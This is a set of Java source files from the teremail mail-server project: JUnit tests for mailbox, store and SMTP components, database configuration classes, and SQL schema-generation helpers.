smb.getHeaderBuilder().setDate("Sun, 13 Jan 2007 13:09:00 +0000"); Entity m3 = mesDAO.save(smb.build()); dao.addMessage(fdo, m3.getId()); smb.getHeaderBuilder().setDate("Sun, 15 Jan 2007 13:09:00 +0000"); Entity m5 = mesDAO.save(smb.build()); dao.addMessage(fdo, m5.getId()); smb.getHeaderBuilder().setDate("Sun, 11 Jan 2007 13:09:00 +0000"); Entity m1 = mesDAO.save(smb.build()); dao.addMessage(fdo, m1.getId()); List<EntryDO> entries = dao.getEntries(fdo, 0, 10, Folder.SortKey.DATE); assertEquals(5, entries.size()); assertEquals(m1.getId(), entries.get(0).getMessageId()); assertEquals(m2.getId(), entries.get(1).getMessageId()); assertEquals(m3.getId(), entries.get(2).getMessageId()); assertEquals(m4.getId(), entries.get(3).getMessageId()); assertEquals(m5.getId(), entries.get(4).getMessageId()); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/mailbox/AbstractMailboxDAOTestCase.java
Java
lgpl
10,368
package org.teremail.mailbox; import org.junit.runner.RunWith; import org.junit.runners.Suite; import org.junit.runners.Suite.SuiteClasses; @RunWith(Suite.class) @SuiteClasses({ ListsTest.class, MailboxServiceTest.class, PathTest.class, H2MailboxDAOTest.class, PGMailboxDAOTest.class, H2MessageDAOTest.class, PGMessageDAOTest.class }) public class MailboxTestSuite { }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/mailbox/MailboxTestSuite.java
Java
lgpl
400
package org.teremail.mailbox; import static org.easymock.EasyMock.expect; import static org.easymock.EasyMock.replay; import static org.easymock.EasyMock.verify; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.teremail.mailbox.Path.path; import org.easymock.EasyMock; import org.junit.After; import org.junit.Before; import org.junit.Test; public abstract class AbstractCacheMailboxDAOTestCase { MailboxDAO mockDao; MailboxDAO dao; @Before public void setup() { mockDao = EasyMock.createMock(MailboxDAO.class); dao = getCachedMailboxDAO(mockDao); } protected abstract MailboxDAO getCachedMailboxDAO(MailboxDAO mockDao); @Test public void createMailbox() throws Exception { String name = "bart"; expect(mockDao.create(name)).andReturn(new MailboxDO("123", name)); replay(mockDao); dao.create(name); MailboxDO mdo = dao.findMailbox(name); assertEquals(name, mdo.getUser()); verify(mockDao); } @Test public void findMailboxTwice() throws Exception { String name = "bart"; expect(mockDao.findMailbox(name)).andReturn(new MailboxDO("123", name)); replay(mockDao); MailboxDO mdo = dao.findMailbox(name); mdo = dao.findMailbox(name); assertEquals(name, mdo.getUser()); verify(mockDao); } @Test public void createFolder() throws Exception { String name = "bart"; MailboxDO mdo = new MailboxDO("123", name); FolderDO fdo = new FolderDO(Path.INBOX, mdo); expect(mockDao.save(fdo)).andReturn(new FolderDO("456", fdo)); replay(mockDao); FolderDO saved = dao.save(fdo); assertNotNull(saved.getId()); FolderDO found = dao.findFolder(mdo, Path.INBOX); assertEquals(saved.getId(), found.getId()); verify(mockDao); } @Test public void findFolderTwice() throws Exception { MailboxDO mdo = new MailboxDO("123", "homer"); FolderDO fdo = new FolderDO(Path.INBOX, mdo); expect(mockDao.findFolder(mdo, Path.INBOX)).andReturn(fdo); replay(mockDao); dao.findFolder(mdo, Path.INBOX); dao.findFolder(mdo, Path.INBOX); verify(mockDao); } @Test(expected = FolderNotExistsException.class) public void removeFolder() throws Exception { MailboxDO mdo = new MailboxDO("123", "homer"); Path oldPath = path("OldFolder"); FolderDO fdo = new FolderDO(oldPath, mdo); expect(mockDao.save(fdo)).andReturn(new FolderDO("123", fdo)); mockDao.remove(fdo.getMailbox(), fdo.getPath()); expect(mockDao.findFolder(mdo, oldPath)).andThrow(new FolderNotExistsException(mdo.getUser(), oldPath.toString())); replay(mockDao); dao.save(fdo); dao.remove(mdo, oldPath); dao.findFolder(mdo, oldPath); verify(mockDao); } @Test(expected = FolderNotExistsException.class) public void renameFolder() throws Exception { MailboxDO mdo = new MailboxDO("123", "homer"); Path oldPath = path("OldFolder"); Path newPath = path("NewFolder"); FolderDO fdo = new FolderDO(oldPath, mdo); expect(mockDao.save(fdo)).andReturn(new FolderDO("123", fdo)); mockDao.renameFolder(fdo.getMailbox(), fdo.getPath(), newPath); expect(mockDao.findFolder(mdo, oldPath)).andThrow(new FolderNotExistsException(mdo.getUser(), oldPath.toString())); replay(mockDao); dao.save(fdo); dao.renameFolder(mdo, oldPath, newPath); dao.findFolder(mdo, oldPath); verify(mockDao); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/mailbox/AbstractCacheMailboxDAOTestCase.java
Java
lgpl
4,020
package org.teremail.util; import org.junit.runner.RunWith; import org.junit.runners.Suite; import org.junit.runners.Suite.SuiteClasses; @RunWith(Suite.class) @SuiteClasses({ ThreadLocalCacheTest.class }) public class UtilTestSuite { }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/util/UtilTestSuite.java
Java
lgpl
244
package org.teremail; import javax.sql.DataSource; import org.postgresql.ds.PGSimpleDataSource; import org.teremail.schema.Dialect; import org.teremail.schema.PGDialect; public class PGDBConfig extends AbstractDBConfig { private String name; private String user; private String pass; private int port; private String host; public PGDBConfig(String name, String user, String pass, String host, int port) { this.name = name; this.user = user; this.pass = pass; this.host = host; this.port = port; } @Override protected DataSource loadDS() { PGSimpleDataSource ds = new PGSimpleDataSource(); ds.setDatabaseName(name); ds.setUser(user); ds.setPassword(pass); ds.setServerName(host); ds.setPortNumber(port); return ds; } public Dialect getDialect() { return PGDialect.getInstance(); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/PGDBConfig.java
Java
lgpl
946
package org.teremail; import javax.sql.DataSource; import org.h2.jdbcx.JdbcDataSource; import org.teremail.schema.Dialect; import org.teremail.schema.H2Dialect; public class H2DBConfig extends AbstractDBConfig { private final String url; public H2DBConfig(String url) { this.url = url; } public DataSource loadDS() { JdbcDataSource ds = new JdbcDataSource(); ds.setURL(url); return ds; } public Dialect getDialect() { return H2Dialect.getInstance(); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/H2DBConfig.java
Java
lgpl
538
package org.teremail; import javax.sql.DataSource; import org.teremail.schema.Dialect; public interface DBConfig { Dialect getDialect(); DataSource getDataSource(); }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/DBConfig.java
Java
lgpl
179
package org.teremail; import java.util.concurrent.Callable; import java.util.concurrent.FutureTask; import javax.sql.DataSource; public abstract class AbstractDBConfig implements DBConfig { private final FutureTask<DataSource> instance = new FutureTask<DataSource>(new Callable<DataSource>() { public DataSource call() throws Exception { return loadDS(); } }); public final DataSource getDataSource() { instance.run(); try { return instance.get(); } catch (Exception e) { throw new RuntimeException(e); } } protected abstract DataSource loadDS(); }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/AbstractDBConfig.java
Java
lgpl
702
package org.teremail.store.paged; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import java.util.Arrays; import java.util.logging.Level; import java.util.logging.Logger; import org.junit.Before; import org.junit.Test; public abstract class AbstractBlobFactoryTestCase { BlobFactory dao; @Before public void setUp() { Logger.getLogger("").setLevel(Level.FINEST); dao = getBlobFactory(); dao.init(); } public abstract BlobFactory getBlobFactory(); @Test public void createBlob() { Blob b = dao.createBlob(); assertNotNull("ID is null", b.getId()); assertEquals("Length is not zero", 0, b.getLength()); Blob b2 = dao.getBlob(b.getId()); assertNotNull("Unable to find blob", b2); } @Test public void addPage() { Blob b = dao.createBlob(); byte[] page1 = new byte[1024]; page1[0] = 'a'; page1[1] = 'b'; page1[2] = 'c'; b.addPage(page1); b.addPage(new byte[] { 'd', 'e', 'f' }); assertEquals(1027, b.getLength()); assertEquals(2, b.getNumPages()); assertEquals((byte) 'e', b.getPage(1)[1]); } @Test public void getLastPage() { Blob b = dao.createBlob(); byte[] page1 = new byte[1024]; page1[0] = 'a'; page1[1] = 'b'; page1[2] = 'c'; b.addPage(page1); b.addPage(new byte[] { 'd', 'e', 'f' }); assertEquals(1027, b.getLength()); assertEquals(2, b.getNumPages()); assertEquals((byte) 'd', b.getLastPage()[0]); assertEquals((byte) 'e', b.getLastPage()[1]); assertEquals((byte) 'f', b.getLastPage()[2]); } @Test public void replaceLastPage() { Blob b = dao.createBlob(); byte[] page1 = new byte[1024]; page1[0] = 'a'; page1[1] = 'b'; page1[2] = 'c'; b.addPage(page1); b.addPage(new byte[] { 'd', 'e', 'f' }); assertEquals(1027, b.getLength()); assertEquals(2, b.getNumPages()); assertEquals((byte) 'd', b.getLastPage()[0]); assertEquals((byte) 'e', b.getLastPage()[1]); assertEquals((byte) 'f', b.getLastPage()[2]); byte[] lastPage = { 'd', 'e', 'f', 'x', 'y', 'z' }; b.replaceLastPage(lastPage); byte[] result = b.getLastPage(); assertEquals(lastPage.length, result.length); assertTrue("Data is not equal", Arrays.equals(lastPage, result)); } @Test public void initialise() { dao.init(); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/store/paged/AbstractBlobFactoryTestCase.java
Java
lgpl
2,814
package org.teremail.store; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.Arrays; import java.util.Random; import org.junit.Before; import org.junit.Test; public abstract class AbstractStoreTestCase { private Store store; protected abstract Store getStore(); protected void onSetup() throws Exception {} @Before public void setUp() throws Exception { onSetup(); this.store = getStore(); } @Test public void create() { String id = store.createStoreItem(); assertNotNull(id); } private void readWrite(int dataSize) throws IOException { byte[] data = new byte[dataSize]; Random r = new Random(1L); r.nextBytes(data); String id = store.createStoreItem(); OutputStream out = store.getOutputStream(id); out.write(data); out.flush(); InputStream in = store.getInputStream(id); byte[] result = new byte[dataSize]; in.read(result); assertTrue(Arrays.equals(data, result)); } private void readWrite(int dataSize, int count) throws IOException { byte[] data = new byte[dataSize]; Random r = new Random(1L); r.nextBytes(data); String id = store.createStoreItem(); OutputStream out = store.getOutputStream(id); for (int i = 0; i < count; i++) { out.write(data); } out.flush(); InputStream in = store.getInputStream(id); byte[] result = new byte[dataSize]; for (int i = 0; i < count; i++) { in.read(result); assertTrue(Arrays.equals(data, result)); } } @Test public void writeAndRead_1B() throws IOException { readWrite(1); } @Test public void writeAndRead_1K() throws IOException { readWrite(1024); } @Test public void writeAndRead_10K() throws IOException { readWrite(1024 * 10); } @Test public void writeAndRead_537B_1() throws IOException { readWrite(537, 1); } @Test public void writeAndRead_537B_2() throws IOException { readWrite(537, 2); } @Test public void writeAndRead_537B_7() throws IOException { readWrite(537, 7); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/store/AbstractStoreTestCase.java
Java
lgpl
2,540
package org.teremail.store; import javax.sql.DataSource; import org.junit.After; import org.teremail.tx.SimpleTransactionManaer; public abstract class AbstractTxTestCase extends AbstractStoreTestCase { private SimpleTransactionManaer tm; private DataSource ds; protected abstract DataSource createDataSource(); public DataSource getDataSource() { return ds; } public void setUpInsideTX() throws Exception {} public void setUpOutsideTX() throws Exception {} public void tearDownInsideTX() throws Exception {} public void tearDownOutsideTX() throws Exception {} @Override public void onSetup() throws Exception { tm = new SimpleTransactionManaer(); ds = tm.setDataSource(createDataSource()); setUpOutsideTX(); tm.begin(); setUpInsideTX(); } @After public void endTX() throws Exception { tearDownInsideTX(); tm.commit(); tearDownOutsideTX(); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/store/AbstractTxTestCase.java
Java
lgpl
1,082
package org.teremail.store; import org.junit.runner.RunWith; import org.junit.runners.Suite; import org.junit.runners.Suite.SuiteClasses; import org.teremail.store.jdbc3.PGJDBC3StoreTest; import org.teremail.store.paged.H2DBBlobFactoryTest; import org.teremail.store.paged.H2DBPagedStoreTest; import org.teremail.store.paged.MemoryBlobFactoryTest; @RunWith(Suite.class) @SuiteClasses({ MemoryBlobFactoryTest.class, H2DBBlobFactoryTest.class, H2DBPagedStoreTest.class, PGJDBC3StoreTest.class })public class StoreTestSuite { }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/store/StoreTestSuite.java
Java
lgpl
544
package org.teremail; import java.sql.Connection; import java.sql.SQLException; import java.sql.Statement; import java.util.Arrays; import java.util.Collection; import javax.sql.DataSource; import org.postgresql.ds.PGSimpleDataSource; import org.teremail.schema.Table; import org.teremail.util.DB; public class DropAll { public static void main(String[] args) { for (DataSource ds : getDatabases()) { Connection cn = null; try { cn = ds.getConnection(); for (Table t : Schema.ALL_TABLES) { String sql = "drop table " + t.getName(); System.out.printf("Dropping table %s\n", t.getName()); Statement st = null; try { st = cn.createStatement(); st.execute(sql); } catch (SQLException e) { System.err.printf("Failed to drop table %s\n", t.getName()); } finally { DB.close(st); } } } catch (SQLException e) { e.printStackTrace(); } finally { DB.close(cn); } } } private static Collection<DataSource> getDatabases() { PGSimpleDataSource ds = new PGSimpleDataSource(); ds.setDatabaseName("test"); ds.setUser("mike"); ds.setPassword("test"); ds.setServerName("localhost"); ds.setPortNumber(5432); return Arrays.asList((DataSource) ds); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/DropAll.java
Java
lgpl
1,628
package org.teremail.smtp; import org.junit.runner.RunWith; import org.junit.runners.Suite; import org.junit.runners.Suite.SuiteClasses; @RunWith(Suite.class) @SuiteClasses({ SMTPCommandParserTest.class, HELOCommandTest.class, EHLOCommandTest.class, QUITCommandTest.class, NOOPCommandTest.class, MAILCommandTest.class, RCPTCommandTest.class, RSETCommandTest.class, DATACommandTest.class, MinaSMTPSessionTest.class, ConditionalFilterTest.class, SMTPIOHandlerTest.class, MessageDataConsumerTest.class }) public class SMTPTestSuite { }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/smtp/SMTPTestSuite.java
Java
lgpl
588
package org.teremail.smtp; import java.io.IOException; import java.nio.charset.Charset; import org.apache.mina.common.ByteBuffer; import org.apache.mina.common.IoFilter; import org.apache.mina.common.SimpleByteBufferAllocator; import org.apache.mina.filter.LoggingFilter; import org.apache.mina.filter.codec.ProtocolCodecFilter; import org.apache.mina.filter.codec.textline.TextLineCodecFactory; import org.apache.mina.transport.socket.nio.SocketAcceptorConfig; import org.junit.Ignore; import org.teremail.common.Log; @Ignore public class ServerTestCase { private final static Log log = Log.getLog(ServerTestCase.class); public void runServer(int port) throws IOException, InterruptedException { ByteBuffer.setUseDirectBuffers(false); ByteBuffer.setAllocator(new SimpleByteBufferAllocator()); SocketAcceptorConfig cfg = new SocketAcceptorConfig(); cfg.getFilterChain().addLast("logger", new LoggingFilter()); IoFilter textProto = new ProtocolCodecFilter( new TextLineCodecFactory(Charset.forName("US-ASCII"))); cfg.getFilterChain().addLast("codec", new ConditionalFilter(textProto)); log.info("Server Started, listening on port: %s", port); } public static void main(String[] args) throws IOException, InterruptedException { new ServerTestCase().runServer(9025); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/smtp/ServerTestCase.java
Java
lgpl
1,404
package org.teremail.smtp; import static org.easymock.EasyMock.anyObject; import static org.easymock.EasyMock.expect; import java.util.HashMap; import java.util.Map; import org.apache.mina.common.IoSession; import org.easymock.EasyMock; import org.easymock.IAnswer; import org.easymock.IMocksControl; import com.google.common.collect.Maps; public class SMTPTestUtil { static IoSession createIoSession(boolean threadSafe) { return createIoSession(new HashMap<String, Object>(), threadSafe); } static IoSession createIoSession(final Map<String, Object> initialData, boolean threadSafe) { final Map<String,Object> m = Maps.newHashMap(initialData); IAnswer<Object> get = new IAnswer<Object>() { public Object answer() throws Throwable { String key = (String) EasyMock.getCurrentArguments()[0]; return m.get(key); } }; IAnswer<Object> set = new IAnswer<Object>() { public Object answer() throws Throwable { String key = (String) EasyMock.getCurrentArguments()[0]; Object value = EasyMock.getCurrentArguments()[1]; return m.put(key, value); } }; IMocksControl mc = EasyMock.createNiceControl(); mc.makeThreadSafe(threadSafe); //IoSession session = createNiceMock(IoSession.class); IoSession session = mc.createMock(IoSession.class); expect(session.getAttribute((String) anyObject())).andAnswer(get).anyTimes(); expect(session.setAttribute((String) anyObject(), anyObject())).andAnswer(set).anyTimes(); return session; } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/smtp/SMTPTestUtil.java
Java
lgpl
1,712
package org.teremail.schema; /** * Dialect imlementation for the Derby database. * * @author Michael Barker * */ public class DerbyDialect extends AbstractDialect { private final static DerbyDialect instance = new DerbyDialect(); private DerbyDialect() {} public static Dialect getInstance() { return instance; } public String generateBinary(int length) { return "VARCHAR(" + length + ") FOR BIT DATA"; } public String getInteger(int precision) { switch (precision) { case 2: return "SMALLINT"; case 4: return "INTEGER"; case 8: return "BIGINT"; default: throw new RuntimeException("Precision: " + precision + " for integer not supported"); } } }
zzuoqiang-teremail
teremail-core/src/main/java/org/teremail/schema/DerbyDialect.java
Java
lgpl
811
package org.teremail.schema; public class Column { private final String name; private final DBType type; private final boolean isPrimaryKey; private final boolean isNullable; public Column(String name, DBType type, boolean isPrimaryKey, boolean isNullable) { this.name = name; this.type = type; this.isPrimaryKey = isPrimaryKey; this.isNullable = isNullable; } public String getName() { return name; } public DBType getType() { return type; } public String generateCreate(Dialect dialect) { StringBuilder sb = new StringBuilder(); sb.append(name); sb.append(" "); sb.append(type.getCreate(dialect)); if (!isNullable) { sb.append(" NOT NULL"); } return sb.toString(); } public boolean isPrimaryKey() { return isPrimaryKey; } }
zzuoqiang-teremail
teremail-core/src/main/java/org/teremail/schema/Column.java
Java
lgpl
926
package org.teremail.schema; public class ColumnBuilder { private boolean isPrimaryKey = false; private boolean isNullable = false; private final String name; private final DBType type; public ColumnBuilder(String name, DBType type) { this.name = name; this.type = type; } public ColumnBuilder primaryKey() { isPrimaryKey = true; isNullable = false; return this; } public ColumnBuilder nullable(boolean nullable) { isNullable = nullable; return this; } public Column build() { return new Column(name, type, isPrimaryKey, isNullable); } }
zzuoqiang-teremail
teremail-core/src/main/java/org/teremail/schema/ColumnBuilder.java
Java
lgpl
657
package org.teremail.schema; /** * Dialect interface used to handle the difference between various databases. * * @author Michael Barker */ public interface Dialect { /** * Return the string used in for an integer value in a create statement. * * @param precision * @return */ String getInteger(int precision); /** * Return the string used in for a varchar value in a create statement. * * @param precision * @return */ String getVarchar(int length); /** * Returns a column type that has a time and date component. * * @return */ String getTimestamp(); String generateBinary(int length); String getBlob(); String getTableName(String tableName); boolean isDuplicateKey(String state); /** * Determines if this database can page results in SQL. If this returns * false, the sql code should page the results from the query itself. * * @return */ boolean isPagingSupported(); /** * Creates a paged queries for the given parameters. Will inline the * page values directly into the query. This should be safe (no injection) * as the page values are typed as ints. * * @param columns * @param tables * @param constraints * @param orderBy * @param pageNo * @param pageSize * @return */ String createPagedQuery(String columns, String tables, String constraints, String orderBy, int pageNo, int pageSize); }
zzuoqiang-teremail
teremail-core/src/main/java/org/teremail/schema/Dialect.java
Java
lgpl
1,554
package org.teremail.schema; import java.util.ArrayList; import java.util.Collections; import java.util.Iterator; import java.util.List; import org.teremail.store.Strings; public class Table { private final String name; private List<Column> columns; private List<List<String>> uniques; public Table(String name, List<Column> columns, List<List<String>> uniques) { this.name = name; this.columns = columns; this.uniques = uniques; } public String getName() { return name; } public List<Column> getColumns() { return columns; } public List<String> generate(Dialect dialect) { List<String> statements = new ArrayList<String>(); statements.add(generateCreate(dialect)); statements.add(generatePKConstraint(dialect)); statements.addAll(generateUKConstraint(dialect)); return Collections.unmodifiableList(statements); } private String generatePKConstraint(Dialect dialect) { StringBuilder sb = new StringBuilder(); sb.append("ALTER TABLE "); sb.append(name); sb.append(" ADD CONSTRAINT "); sb.append(name); sb.append("_PK PRIMARY KEY ("); sb.append(Strings.join(getPKColumnNames(), ", ")); sb.append(")"); return sb.toString(); } private List<String> generateUKConstraint(Dialect dialect) { List<String> results = new ArrayList<String>(); StringBuilder sb = new StringBuilder(); int count = 1; for (List<String> unique : uniques) { sb.append("ALTER TABLE "); sb.append(name); sb.append(" ADD CONSTRAINT "); sb.append(name).append("_UK").append(count++); sb.append(" UNIQUE "); sb.append("(").append(Strings.join(unique, ", ")).append(")"); results.add(sb.toString()); sb.delete(0, sb.length()); } return results; } private List<String> getPKColumnNames() { List<String> cols = new ArrayList<String>(); for (Column c : getColumns()) { if (c.isPrimaryKey()) { cols.add(c.getName()); } } return cols; } private String generateCreate(Dialect dialect) { StringBuilder sb = new StringBuilder(); sb.append("CREATE TABLE "); sb.append(name); sb.append(" ("); for (Iterator<Column> cIt = columns.iterator(); cIt.hasNext();) { Column column = cIt.next(); sb.append(column.generateCreate(dialect)); if (cIt.hasNext()) { sb.append(", "); } } sb.append(")"); return sb.toString(); } }
zzuoqiang-teremail
teremail-core/src/main/java/org/teremail/schema/Table.java
Java
lgpl
2,787
package org.teremail.schema; import java.sql.Connection; import java.sql.DatabaseMetaData; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import javax.sql.DataSource; import org.teremail.common.Log; import org.teremail.store.StoreException; import org.teremail.util.DB; public class Schema { private final static Log log = Log.getLog(Schema.class); public static void createIfNotExists(DataSource ds, Table t, Dialect dialect) { Connection cn = null; ResultSet mdrs = null; Statement st = null; try { cn = ds.getConnection(); DatabaseMetaData dbmd = cn.getMetaData(); mdrs = dbmd.getTables(null, null, dialect.getTableName(t.getName()), new String[] { "TABLE" }); if (mdrs.next()) { log.info("Table exists: %s", mdrs.getString(3)); } else { for (String s : t.generate(dialect)) { st = cn.createStatement(); st.execute(s); } } } catch (SQLException e) { throw new StoreException(e); } finally { DB.close(mdrs, st, cn); } } }
zzuoqiang-teremail
teremail-core/src/main/java/org/teremail/schema/Schema.java
Java
lgpl
1,244